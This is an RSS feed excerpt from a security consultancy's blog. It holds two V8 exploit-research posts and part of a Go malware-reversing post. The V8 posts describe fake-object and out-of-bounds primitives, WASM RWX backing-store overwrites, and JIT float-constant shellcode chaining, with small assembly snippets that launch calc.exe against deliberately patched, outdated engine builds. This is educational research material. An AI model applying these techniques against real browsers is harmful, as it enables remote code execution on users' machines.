            <link>https://medium.com/@INTfinitySG/miscellaneous-series-3-a-script-kiddie-diary-in-v8-exploit-research-part-2-585bd3f0a833?source=rss-550edb52e7f7------2</link>
            <guid isPermaLink="false">https://medium.com/p/585bd3f0a833</guid>
            <category><![CDATA[turbofan]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[browsers]]></category>
            <dc:creator><![CDATA[INTfinity Consulting]]></dc:creator>
            <pubDate>Mon, 09 Dec 2024 02:36:36 GMT</pubDate>
            <atom:updated>2024-12-09T02:36:36.247Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In Part 2 of this series, we will be looking at an exploit technique after Ubercage (<a href="https://v8.dev/blog/sandbox">https://v8.dev/blog/sandbox</a>) was implemented. To demonstrate this technique, we will be using Version 11.4 (Commit <strong>f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c), </strong>for those who wish to follow, do remember to apply the simple vulnerability patch (mentioned in Part 1 of this series).</p><p>Previously in Part 1, we covered the basic exploitation technique of replacing <strong>Array Buffer Backing Store 64 bit pointer</strong> with the <strong>RWX memory address of a WASM Instance</strong> to write and execute shellcode, with <strong>Ubercage</strong>, the Array Buffer Backing Store 64 bit pointer is removed (see below) and replaced with indexes to an external pointer lookup table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*n9hACPjdxjgZajlMni29Dw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*qcsk_fHa7JpdPVXH9bwfqw.png" /><figcaption>Memory layout of Array Buffer and Array Backing Store (pre-Ubercage — Version 9.1)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*04Wktqtof5YT4LZb2T1DEw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*6d-tRzv9sxnvuokgvBrjPA.png" /><figcaption>Memory layout of Array Buffer and Array Backing Store (post-Ubercage — Version 11.4)</figcaption></figure><p>Referring to the debug information of buf2, the <strong>backing store address</strong> is not found in the memory address of the Array Buffer. The previous way of reading and writing using an Array Buffer no longer applied (since we cannot locate and manipulate the backing store address anymore).</p><p>To find another exploitation technique, we need to understand that for exploitation, <strong>2 components</strong> are typically required, (1) a <strong>64 bit pointer</strong> in the heap space that we can overwrite with a (2) <strong>64 bit RX memory space</strong> for shellcode execution.</p><p>In the next section, we will be looking at an exploitation technique that have these 2 components available.</p><h3><strong>Locating an External pointer in Javascript Function Object</strong></h3><p>Consider a function that return an array of double numbers:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/296/1*Alau4SNqPscJkHaQPaPi8g.png" /></figure><p>Examining the debug information of a Javascript function, at offset <strong>0xc</strong> of the code object is the <strong>code entry point field</strong> and it has a <strong>64 bit external pointer.</strong> This is the start of the function code execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sugpCRYvTBCj6agzyI_9iQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*SsFm8i6wsWqanhE74NoqlA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*WUgDTVatkyPAQQ684R7MLg.png" /></figure><p>Just like in Part 1 of this series, assuming we already have out-of-bound read and write from our simple vulnerability, can we use this <strong>64 bit pointer</strong> just like how we do it for <strong>an Array Buffer backing store</strong>?</p><ul><li><strong>Potential Method</strong>: Create a WASM instance, replace the <strong>code entry point</strong> with the <strong>WASM RWX memory address</strong> using the <strong>fake object</strong> method.</li><li><strong>Issue</strong>: Remember the fake object way allow us to specify a 32 bit address in the fake element field to perform reading writing. We will have no issues modifying the code entry field since the code object lies within the heap (So we only need the lower 32 bit). However, we will not be able to specify the code entry field (64 bit address) in the fake element to write our shellcode as the fake element field only allow a 32bit address.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*qW5Deb8F_0RrR_wdIX1bXg.png" /></figure><p>We also cannot overwrite the function codes with our shellcode (even if we can) since the function address is read-execute only.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*EzkO8BDravDbPlVXdqHd9w.png" /></figure><p>Since the function is already executable, could there be a way to influence how the function is interpreted in compiled code? For this, we will investigate how the code will looked like after compilation and optimisation.</p><h3><strong>TurboFan and Just-in-Time (JIT)</strong></h3><p>Reference: <a href="https://v8.dev/docs/turbofan">https://v8.dev/docs/turbofan</a></p><p>TurboFan is a JIT optimising Compiler, which compiles code to an optimised Machine language. It generates an extremely fast Machine Code with the help of assumptions.</p><p>With this optimisation, the compiled asm of a JIT function will appear differently from the original function.</p><p>Before optimisation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*jl_bpXC5jaRMJhanjmHZ2Q.png" /><figcaption>Before optimisation</figcaption></figure><p>After optimisation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MikRDObu3PtV8WR8pwTA6A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*LLUUnWe5Cd9YkKZAoLk4Xw.png" /><figcaption>After optimisation</figcaption></figure><p>Notice that the function has changed from a BUILTIN CompileLazy Object to a CodeDataContainer Turbofan object. When the function become a <strong>CodeDataContainer Turbofan</strong> object, immediate numbers (such as floats) are compiled into mov <strong><em>&lt;reg&gt;, &lt;val&gt;</em></strong> instructions where <strong>vals</strong> are the elements of the returned array object.</p><p>Referring to our sample function, 1.971182898893348e-246 in double is equivalent to 0CEB90909090C031h and this value can be found in the “<strong><em>mov r10, 0CEB90909090C031h</em></strong>” highlighted above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/296/1*Alau4SNqPscJkHaQPaPi8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*lmv8Md_INvj90SV7fRfEIg.png" /></figure><p>Through an <strong>optimised</strong> function, pieces of shellcode can be created by writing the equivalent in double format in an array object and then <strong>chained</strong> together through a <strong>jmp</strong> instruction to achieve code execution.</p><h3><strong>Shellcode chaining</strong></h3><p>In a nutshell, the below illustration summarise what we are going to achieve. Again, this is assumed that we already leaked the code entry point (as shown in the example above).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*8n4AuNREp5DJEy96kE6mxA.png" /></figure><p>We can write shellcode using these numbers and connect them with a jmp instruction. This is an example of chaining 2 instructions for illustration:</p><pre>Instruction 1:<br>push rcx<br>pop rcx<br>4 nops<br>jmp 0xC<br> <br>Instruction 2:<br>push rbx<br>pop rbx<br>4 nops<br>jmp 0xC</pre><p>1) We will first need to represent the instructions in 64 bits little endian.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/260/1*nqIXsp41RW9wela6Qs-k0A.png" /></figure><p>2) The instructions are converted to double format and inserted into an array object. The function optimisation is triggered by running it through a large for loop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/334/1*sb01JXSoRDm6ET98DT5YDg.png" /></figure><p>3) This is how the function look like after optimisation. As can be seen, our shellcode instructions become the <strong><em>&lt;val&gt;</em></strong><em> </em>in the mov <strong><em>&lt;reg&gt;, &lt;val&gt;</em></strong><em> </em>instructions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*HmELTCjux7hdvqrgwZ25Gw.png" /></figure><p>4) We will want to start the function at the start of the shellcode at 0x7ff6acf8d296 (see below). Assuming we know the code entry point at 0x7ff6acf8d240, we will need to calculate the offset (0x56 in our example) and to modify the entry point based on the offset.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*y9Pg4dS_i6R07eXgatmlVQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*mo-R7m9RF8pgQsdYAF4_QA.png" /></figure><p>5) The 2 instructions are chained together where the last instruction from the previous set will perform a jmp to our next set of instruction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*oQokeHw5UEhWqlaZ6Mp9cw.png" /></figure><p>Note that we only have 8 bytes of instructions for each set of shellcode, since jmp instruction consumes 2 bytes, we have 6 bytes for shellcode. in Linux, 6 bytes for shellcode is definitely enough. However, to execute 64 bit shellcode in Windows, there is a need to be a bit creative.</p><p>Consider this piece of winexec shellcode from <a href="https://www.exploit-db.com/shellcodes/51634">https://www.exploit-db.com/shellcodes/51634</a>, there are some instructions that we need to modify, one of which is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*mMkuXPUrkXu4LGIDPuA0vg.png" /></figure><p>This instruction which is supposed to move “calc.exe” to rcx register cannot be used as it is 7 bytes long. As mentioned above, only 6 bytes is available. The modified instruction looked like this:</p><pre>mov edx, 0x6578652e  ; Load the lower 32 bits into EAX<br>mov rcx, rdx          ; Move the upper 32 bits into the upper half of RAX<br>shl rcx, 32           ; Shift the value left by 32 bits<br>mov edx, 0x636c6163  ; Load the upper 32 bits into EDX<br>or rcx, rdx           ; Combine the lower 32 bits with the upper 32 bits</pre><p>After ensuring each piece of shellcode is only 6 bytes long, the next step is to modify the code entry point to start at the beginning of our 1st piece of shellcode. In the winexec shellcode, the first piece of instruction is the “xor rdx, rdx “instruction, 0x5c bytes from the original entry point. Using our fake object, we can place the pointer to the code entry point in the fake element field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*YTKmegpf5wsTTMV2Kc0siw.png" /></figure><p>As seen, the modified entry point is 0x7ff6acf8d240+0x5c = 0x7ff6acf8d29c</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*M4cSV8D7F0dAkgD-1oJM3Q.png" /></figure><p>When running the modified function, we need to ensure the pieces of shellcode are chained through the jmp instructions, and we will eventually reach the Winexec call instruction. The parameters are in the RCX, RDX instructions and we can see below that that they are correct.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*Jw6F4GMxWgIhA8q14xJHYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*LndHG1fiyoE8nrR0zg2wCg.png" /></figure><p>With that, we have successfully chained the shellcode and execute calculator.</p><h3><strong>Special Observations</strong></h3><p>When attempting to work with this exploitation technique, there are a few scenarios we encountered to share:</p><p>1) Stack Alignment</p><p>In the event if the following error occured during the execution of Winexec:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y7Q6co_4IBfN3qOqRpCwMw.png" /></figure><p>It is likely due to stack alignment, you may need to adjust this line of code (before calling rax) and see if the error still occur.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/419/1*UFjta7-EN5_NcRFZ7Irf3w.png" /></figure><p>In our case, a possible adjustment is “sub rsp, 0x3a” where the stack is adjusted by 2 bytes.</p><p>2) Missing instructions</p><p>In our example shellcode chaining function above, there are 2 double numbers in the array object with the same instructions. You might be wondering what the same number is not used twice.</p><p>Due to optimisation, the same double number (turned into hex in assembly) will only appear once, the following instruction is “push rcx” with nopsled to fill up 5 bytes and followed by a jmp instruction of 4 bytes.</p><pre>5.5483866055757205e-232 (0x0feb909090909051)</pre><p>If the same double number is used again, it will not be compiled as mov &lt;reg&gt;, &lt;val&gt; instruction as it is done earlier. When this happen, our shellcode will not chain properly due to missing instructions. The workaround is to reorder the bytes as follows:</p><pre>0x0feb909090905190 or 5.548386605564232e-232</pre><p>By doing so, a different double number is represented and Turbofan will optimise it.</p><p><strong>Conclusion</strong></p><p>In this short article, we have covered an alternate way of exploitation by manipulating floats in a JIT function. However, this technique no longer work after an upstream commit remove the 64 bit pointer from the code object. In the next article, we will be covering the last technique in our research journey so far. If you remember earlier in the article, we mentioned that there is no way to write shellcode into the RWX region of the WASM instance, the next technique we will be covering will use WASM functions to achieve the write capabilities.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=585bd3f0a833" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Miscellaneous Series 2 — A Script Kiddie Diary in v8 Exploit Research Part 1]]></title>
            <link>https://medium.com/@INTfinitySG/miscellaneous-series-2-a-script-kiddie-diary-in-v8-exploit-research-part-1-5b0bab211f5a?source=rss-550edb52e7f7------2</link>
            <guid isPermaLink="false">https://medium.com/p/5b0bab211f5a</guid>
            <category><![CDATA[chrome]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[v8-engine]]></category>
            <category><![CDATA[exploitation]]></category>
            <dc:creator><![CDATA[INTfinity Consulting]]></dc:creator>
            <pubDate>Thu, 05 Sep 2024 08:53:00 GMT</pubDate>
            <atom:updated>2024-09-05T08:53:00.026Z</atom:updated>
            <content:encoded><![CDATA[<h3>Miscellaneous Series 2 — A Script Kiddie Diary in v8 Exploit Research Part 1</h3><h3><strong>Introduction</strong></h3><p>Chrome is often a target by vulnerability researchers and many improvements were made to mitigate against the known exploits techniques used. This article will look at some significant improvements/mitigations and the impact to known exploit techniques.</p><p>In our opinion, for most exploit research, there are generally <strong>3 phases</strong>, from <em>discovering the vulnerability</em>, to <em>triggering the vulnerability</em> to achieve oob read and write and finally <em>exploiting to achieve code execution</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*bxeFPf_UrVIYmFg4zsFXBw.png" /></figure><p>Our article will not be covering the 1st 2 phases and will focus on the 3rd Phase: Exploiting Vulnerability. To shortcut the whole process we will introduce a deliberate vulnerability (<a href="https://anvbis.au/posts/code-execution-in-chromiums-v8-heap-sandbox/">https://anvbis.au/posts/code-execution-in-chromiums-v8-heap-sandbox/</a>) that can be triggered to change the length of an array to achieve out-of-bounds (OOB) read and write. With OOB primitive read and write achieved, we can then demonstrate the different exploit techniques.</p><p>We will be using d8 on Windows, the Chrome v8 shell to demonstrate the differences across the different versions, most examples we saw online uses d8 on Linux and we thought of doing something different, although the main difference we observed is mostly in the shellcode portion.</p><h3>V8 versions and Exploitation Methodology</h3><p>Over the years, new chrome version (and also v8) were released to address known exploitation techniques. The diagram below showed the version and the exploit techniques that can be used but they no longer work after new commits were released subsequently to address them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V9cSzblXsH2OPikLd40UTw.png" /></figure><p>To date, there are many known exploitation techniques, we have chosen 4 exploitation techniques listed in the table below. Note that none of them will work on the latest v8 version today. For those who wish to follow, we have provided the v8 commit that worked for us to demonstrate the techniques and also the reference articles (which explain better than we do). Please remember to apply the patch (<a href="https://anvbis.au/posts/code-execution-in-chromiums-v8-heap-sandbox/">https://anvbis.au/posts/code-execution-in-chromiums-v8-heap-sandbox/</a>) as these commits do not have the deliberately introduced vulnerability by default.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*3QaXOoNHc09r04MCYN9U0A.png" /></figure><p>S/N 1 will be covered in Part 1 of the article, S/N2 will be covered in Part 2 of the article and S/N 3 will be covered in Part 3 with some learning points on crafting of WASM functions (using WAT and wasm module builder, more on these later). There is no plans to cover S/N 4 as the provided POC is straightfoward to understand after learning more on WASM in Part 3 of the article.</p><h3><strong>What you need to know first</strong></h3><p>Because this article will mainly focus on the exploitation portion, we will not cover stuffs such as building v8 shell, Javscript object structures, helper functions such as float to integer conversion (vice-versa), addrof function. Readers are encouraged to read the articles we have collated below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*HQ54onmSBUo60FapSzhddA.png" /></figure><p>It is important to have an rough idea of the stuffs mentioned below.</p><ul><li>The location of the map and the position where the value of the first element is stored for <em>Float Array</em> and <em>Object Array</em></li><li>The position of the backing store for Array Buffer</li><li>The location of the RWX jump table memory section from the base address of the Wasm Instance</li></ul><p>Before moving on to the exploit sections, we will do a brief explanation of the fake object function that will be heavily used and thus it is important to understand the purpose.</p><p>The purpose of a fake object is create a fake float array structure so that we can manipulate the fake element field to insert any address we want to read and write the content at that address.</p><p>In order to create a fake object structure, it is required to able to perform oob read and write (after triggering vulnerability).</p><p>A pictorial representation of the memory layout of the required arrays object and what need to be done can be shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*2CpNpEUq9jN3YknBYabcJw.png" /></figure><p>The high level steps to create a fake object function is as follows:</p><ol><li>Create a float array (flt_arr) and an object array (obj_arr).</li><li>Create a temp float array (temp_flt_arr) with 3 elements which we will be using it to create a fake float array.</li></ol><ul><li>Using the oob read, get the map of a float array (e.g. for a float array with 2 elements, the map can be obtained by out-of-bound reading the 3rd element)</li><li>Place the map value to index 0 of the temp float array.</li><li>Get the address of the temp float array and subtract 0x18 (3x 64bit element size) to get the address of temp float array index 0 (<strong>temp_flt_arr[0]</strong>). This will be the starting address of our fake object.</li></ul><p>3. Using the oob write, write the address of temp_flt_arr[0] to flt_arr[7] (which is also obj_arr[0]).</p><ul><li>*Important to note that we must <strong>write the value to a float array</strong> (for it to be represented as float) instead of an address of an object where dereferencing will occur.</li></ul><p>4. Declare a variable “fake” and assign <strong>obj_arr[0]</strong> to this variable. By doing so, we are assigning an object and not a float.</p><p>5. To read any value from any address, place the target address — 0x8 to temp_flt_arr[2] and read fake[0].</p><ul><li>*So why is there need to subtract 0x8, this is because when reading the elements of a float array, the address in the element field will be dereferenced and the value at offset 8 from the dereferenced address will be read.</li></ul><p>Make sense? Let’s try to understand this better in the next section where we will make use of the fake object function.</p><h3><strong>Pointer Compression</strong></h3><p>Since mid 2018 (<a href="https://issues.chromium.org/issues/40644166">https://issues.chromium.org/issues/40644166</a>), Chrome and v8 had started to implement Pointer Compression where V8 only saves half of the pointer (the least significant bits) to memory and puts the most significant bits (upper 32 bits) of V8’s heap (known as the <strong>isolate root</strong>) into a <strong>root register</strong> (R13). Officially, Pointer compression was announced in Version 9.2 (<a href="https://v8.dev/blog/v8-release-92">https://v8.dev/blog/v8-release-92</a>).</p><p>This is an example of how a float array memory layout will look like in pre and post pointer compression. Note that in version 7.1, the element field has the full 64 bit address whereas in version 9.1, the element field has only the lower 32bit address.</p><p>var testing123 = [1.1,1.2]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*apqMDo2vwO5brL6vFse2XQ.png" /><figcaption>Memory layout of a float array in Version 7.1 (pre pointer compression)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*K2mPaQQgYh7zj85QmZGpeA.png" /><figcaption>Memory layout of a float array in Version 9.1 (post pointer compression)</figcaption></figure><p>With the implementation of pointer compression, we will need the isolate_root to get the full 64 bit address, so let’s use the fake object concept described earlier to find the isolate_root.</p><p>According to <a href="https://tiszka.com/blog/CVE_2021_21225_exploit.html">https://tiszka.com/blog/CVE_2021_21225_exploit.html</a>, Typed Array less than 64 bytes in length will store the isolate root in the heap for faster operation.</p><p>Using the following code snippet, we will provide the memory layout for each steps for a more clearer view.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*4uo_z5yIzg_evRYhl9PQBQ.png" /></figure><p><strong>Line 1 and 2 </strong>— creation of temp_flt_arr and changing index 0 to the float array map. The float map can be found by out-of-bound reading the 3rd element of the float array</p><p><strong>Line 14</strong> — isolate root is at offset 0x2c from the base address. Below is the memory layout of an uint8array and the location of the isolate root:</p><p>Address of arr_uint8 = <strong>0x025b08088f18</strong></p><p>isolate root is 0x2c from <strong>0x025b08088f18</strong> = <strong>0000025b08088f44</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*LD2U0CKdwVzryqUhmacO5g.png" /></figure><p><strong>Line 16 </strong>— use of fakeobj function with the address of temp_flt_arr — 0x18 (temp_flt_arr[0]) as the parameter. This is the starting address of our fake object.</p><p>This is how the fake float array (<strong>0x25b08088de8</strong>) look like in memory. Note that temp_flt_arr is actually at <strong>0x25b08088e01</strong>. Element start at <strong>0x25b08088de0.</strong></p><p>The fake map of the float array is at index 0 and the fake element is at Index 1 which contain the target address-0x8. With that, v8 will interpret this address as a float array object due to the float array structure we have created using the elements in the temp float array.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*qW5Deb8F_0RrR_wdIX1bXg.png" /></figure><p><strong>Line 25</strong> — In our example, we are able to get the isolate root value by reading fake[0] (dereferencing the element field at <strong>0x25b08088f3c</strong> and reading the value at offset 0x8). Since this is a float array, a float value is returned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*LD2U0CKdwVzryqUhmacO5g.png" /></figure><p>Now that we are done with explaining the fake object function. Let’s move on to the exploit proper.</p><h3><strong>When life is simpler.. Exploiting on v8 version 9.1</strong></h3><p>A few years ago before the introduction of Ubercage (v8 Sandbox), if out-of-bounds (oob) read and write are achieved, we would have achieved shellcode execution easily using the following exploit strategy to write shellcode into a RWX memory section.</p><p>Key points:</p><ul><li>Array Buffer Object contain a backing store address which point to the buffer used to stored values written to the Array Buffer object.</li><li>WASM Instance has a RWX memory section containing executable function codes</li><li>If we can swap the buffer in the array buffer object to the WASM RWX memory address, then we can replace the content in the WASM instance with our shellcode instead.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*rcJaEfE5QEKdAGojFceeVg.png" /></figure><p>Below is the high level description of the steps:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RtrjHm_kcdu9eazNOOPWbw.png" /><figcaption>Step 1: Create a WASM instance with a main function and identify the RWX memory section.</figcaption></figure><p><strong>Line 147:</strong> an arb_read function is used to read the full 64 bit pointer. Below is the code snippet of the arb_read function</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*IF1ANWX8TwREKG66ofWVKQ.png" /></figure><p><strong>Line 101:</strong> The fake element field contain the backing store address pointer — 0x8.</p><p><strong>Line 102</strong>: The original backing store address is replaced with the <strong>WASM Jump Table memory address</strong>.</p><p><strong>Line 104 and Line 106: </strong>A Typed Array view is assigned to read from the Array Buffer and the 1st index which contain RWX memory address from the Jump Table is returned from the function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*n6A2GuQIJX2LhUN2wLAVbw.png" /><figcaption>Step 2: Create an Array Buffer, overwrite the backing store with the RWX memory address identified earlier and write the shellcode into the array buffer using a Typed Array View.</figcaption></figure><p>Line 116:The original backing store address is replaced with the <strong>WASM Instance RWX memory address</strong>.</p><p>This is the memory layout after overwriting the backing store pointer (<strong>0xb50808b443+0x14</strong>) with the WASM instance RWX memory address (<strong>0x3b66c8c1000</strong>).</p><p>(<em>*The isolate root is different from the one obtained in the earlier section due to ASLR</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*qUy1FZsejMKQjPw0H9wtKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*quumuOvV1BXDNcKA9q79vA.png" /><figcaption>Step 3: The main function of the WASM instance will now contain the shellcode. Run the exported main function to run the shellcode.</figcaption></figure><p>In summary, for this exploit method, the requirements are:</p><ul><li>Array Buffer Backing Store 64 bit pointer</li><li>64 bit RWX memory address in WASM Instance</li></ul><p>What happen if the array buffer backing store 64 bit pointer is removed?? Stay tune to Part 2 of the series where we will explore other location in the heap with 64 bit pointers that we control, replace it with the RWX 64 bit memory address of the WASM instance and then write the shellcode in.</p><h3><strong>Conclusion</strong></h3><p>In Part 1, we have briefly introduced the different exploitation techniques, explained how the fake object work through an example to find the isolate root and lastly the very old way of achieving code execution without Ubercage. While this technique no longer work, we felt that it provide the fundamental concepts of how to exploit. You will find usage of similar functions (e.g. addrof, fakeobj, arb_read/write), they are likely to differ as what used to work no longer work so another way is used to achieve the same intent.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5b0bab211f5a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Analysis Series 5 — Reversing an embedded golang binary within a shellcode]]></title>
            <link>https://medium.com/@INTfinitySG/malware-analysis-series-5-reversing-an-embedded-golang-binary-within-a-shellcode-a7ead622e56b?source=rss-550edb52e7f7------2</link>
            <guid isPermaLink="false">https://medium.com/p/a7ead622e56b</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[INTfinity Consulting]]></dc:creator>
            <pubDate>Fri, 16 Aug 2024 04:49:30 GMT</pubDate>
            <atom:updated>2024-08-16T04:49:30.158Z</atom:updated>
            <content:encoded><![CDATA[<h3>Malware Analysis Series 5 — Reversing an embedded golang binary within a shellcode</h3><h3>Introduction</h3><p>In another recent malware that we had recently analyzed, it loads a shellcode from the content of a file dropped on disk to decompress and decode a golang binary on memory before executing it via cgo [1]. As it is loaded via shellcode, our team has to perform a memory dump of the loaded golang binary for static analysis. However, static analysis was very painful due to a few factors:</p><p>1) There are a lot of functions without proper names</p><p>2) Tampered PE header hinder IDA analysis</p><p>3) Qword arrays defined by auto-analysis hindering some of the IDApython scripts</p><p>4) Inaccurate decompiled code output</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*3KyzcXRSdZRPxTpRJ9mnzg.png" /></figure><p>Fortunately, a sentinel one article [2] and their github repo [3] documented five steps to which a reverse engineer can adopt to clean up the output of the disassembly. In our case, the five steps helped in cleaning up the disassembled output but some of the steps either did not work or did not work 100% as intended. This could be due to the input being a memory dumped golang binary instead of a PE file on disk. In this post, we will document additional steps that we undertook to aid in the process of reverse engineering the malware and also introduce a new feature to allow analysts to parse members in golang objects.</p><h3>Idapython to the rescue</h3><p>From the github repo [3], the five steps comprises of</p><ol><li>Recreate pcln tab</li><li>Discover functions and rename functions</li><li>Categorising functions into folders</li><li>Fixing string references</li><li>Extracting type information</li></ol><p>However, the assumptions of some of the scripts are different from what our team has faced as our input file is a memory dump of a mapped tampered PE binary. Hence, we faced some roadblocks when using the scripts as described in the blog. In this section, we will be documenting the roadblocks that we have faced and the actions we took to overcome the roadblocks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3fLOR_ErQHzHv2MaE_b9dA.png" /><figcaption>Summary of steps and its outcome</figcaption></figure><h4>Recreate pcln tab</h4><p>For the recreation of the pcln tab, there are no issues since the script is using magic bytes to detect the pcln structure.</p><h4>Discover functions and rename functions</h4><p>For the discovery functions and rename functions, there are some issues in using the scripts and changes are required. Due to the input being a memory dump, IDA would not have created the relevant segments for the disassembly such as .text segment. Therefore, to fix the issue, we would need to understand what the script is doing. The script has three parts as listed in the table (2a, 2b and 2c).</p><p>In the runtime_init function, it is looking for a particular instruction “mov QWORD PTR ds:0x1003, 0x0” for a 64 bit golang binary which is assumed to be present as the last instruction of the function runtime_morestack_noctxt. Unfortunately, this is not present in the golang binary that we are analyzing.</p><p>In the renamer_init function, the function is using the pcln tab to parse the functions. A pcln tab structure contains the pointer size information, number of functions, offset to the function names and offset to the function pointers. By parsing the pcln tab structure which is different for different versions of golang binaries, we would be able to to know where the functions would be and then make use of the location of the functions to define those functions. As a result of our input file being a memory dump, IDA does not parse the sections properly and define large qword arrays which are actually part of the golang code. Therefore, we had to undefine large arrays of qwords. In addition, when we walk the function pointer structure, we need to deliberately define those function pointed by the function pointers as functions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JxW-HojAGRAIipo-Lu8aVQ.png" /><figcaption>PCLNTAB structure</figcaption></figure><p>In the pointer_renamer function, the function attempts to locate all the data references to itself and if the reference lies in the rodata segment and is named as off_&lt;address&gt;, it will attempt to rename it as a pointer to the function. However, this will not work as we do not have rodata segment We can safely ignore this feature as the renamer_init would have covered the functions.</p><h4>Fixing string references</h4><p>Fixing string references does not work that well as it only created 106 strings. This is largely due to mismatch in the patterns of locating strings in the script logic. However, this did not matter that much as the string can be determined quite easily upon manual reverse engineering.</p><h4>Extracting type information</h4><p>To extract the type information, we need to overcome several hurdles. Because our input is a memory dump, there are no segments and the script expects a rdata segment. Therefore, we had to find the rdata segment manually and define it. Furthermore, the functions names used in the script follows a different convention which had to be fixed. In our particular sample, we had to add in the json unmarshal and marshal function as we are dealing with json strings as a means of communication. Once all these are fixed, another hurdle we had encountered is to determine the members in objects.</p><h4>Outcome</h4><p>With the changes made, we have progressed from having 1573 functions defined to 8152 functions defined.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Opb0SaZEBovO34cGNXcjw.png" /><figcaption>IDA pro with 1573 functions defined using unmodified scripts</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ezH9b5klEUU5dEcBkdWzKw.png" /><figcaption>IDA pro with 8152 functions defined using modified scripts</figcaption></figure><h3>Parsing members in objects</h3><p>In the original script, the golang type struct is defined as such:</p><pre>struct golang_type<br>{<br>  __int64 size;<br>  __int64 ptrdata;<br>  int hash;<br>  char tflag;<br>  char align;<br>  char fieldalign;<br>  golang_kind kind;<br>  __int64 equal_fn;<br>  __int64 gcData;<br>  int nameoff;<br>  int typeoff;<br>  __int64 name;<br>  __int64 mhdr;<br>};</pre><p>Based on observations, objects are usually of type structs and for type structs in <em>golang_kind</em>, the number of variables in the struct can be obtained from two qwords after the <em>mhdr</em>. <em>mhdr</em> contains the pointer to where the start of the struct member is and from there onwards, the name and type of the struct member can be determined as they are pointers to the struct member’s name and type. To further have more type information, we can parse any unknown type belonging as we unravel the struct members.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*dqFdiZ98_39-HP_mLgO3Cw.png" /><figcaption>golang type structure (STRUCT)</figcaption></figure><p>Combining these few pieces of information, the type information of an object along with its object members can be populated on IDA to assist in the reversing of the malware with adding of parsing of struct members during the extraction of types.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*EfHXFZUQ716UH9kqI-3JPQ.png" /><figcaption>Result of parsed struct members</figcaption></figure><h3>Final words</h3><p>In this article, we documented the changes needed to make in order to analyze a golang binary embedded in a shellcode as a result of different assumptions made by the 